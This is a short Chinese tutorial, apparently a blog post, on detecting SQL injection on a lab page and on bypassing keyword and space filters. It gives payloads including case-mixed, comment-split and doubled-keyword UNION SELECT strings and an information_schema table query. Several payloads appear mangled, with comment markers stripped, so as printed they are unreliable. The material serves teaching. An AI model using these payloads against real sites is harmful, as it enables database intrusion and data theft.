用户在User ID的文本框中输入ID,点击提交,网页就会以GET方式把用户刚刚的输入提交到后台,并且进行数据库查询,查询结果又会返回在前端页面下。
漏洞判断
1.判断网页链接的格式是否符合我们一开始提出的SQL注入产生的条件。
2.使用常见的 and 1=1 或者 单引号’ 来判断用户的输入是否被SQL解释器执行。
-比如:1’ and 1=1 #,同样的,我们带入到网页的源码中,
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1 #'"
and 1=1 是一个逻辑判断语句,也就是说,因为 1=1,所以前面的SQL语句查询,可以执行。
那么如果换成 and 1=2,很明显,逻辑判断不成立,所以前面的SQL语句无法查询,网页返回错误信息。
绕过技巧
1.绕过空格(注释符/* /,%a0)
2.括号绕过空格:
如果空格被过滤,括号没有被过滤,可以用括号绕过。
3.引号绕过(使用十六进制):
会使用到引号的地方一般是在最后的where子句中。如下面的一条sql语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句:
4.绕过union,select,where等:
(1)使用注释符绕过:
常用注释符:
//,-- , //, #, --+, – -, ;,%00,–a
用法:
U// NION // SE// LECT //user,pwd from user
(2)使用大小写绕过:
id=-1’UnIoN//SeLeCT
(3)内联注释绕过:
id=-1’/!UnIoN*/ SeLeCT 1,2,concat(/!table_name/) FrOM /information_schema/.tables /!WHERE //!TaBlE_ScHeMa/ like database()#
(4) 双关键字绕过(若删除掉第一个匹配的union就能绕过):
id=-1’UNIunionONSeLselectECT1,2,3–-
联合查询的知识在我的这篇博客里有
https://blog.csdn.net/qq_43480081/article/details/97290784
后续有新的了解后会有更新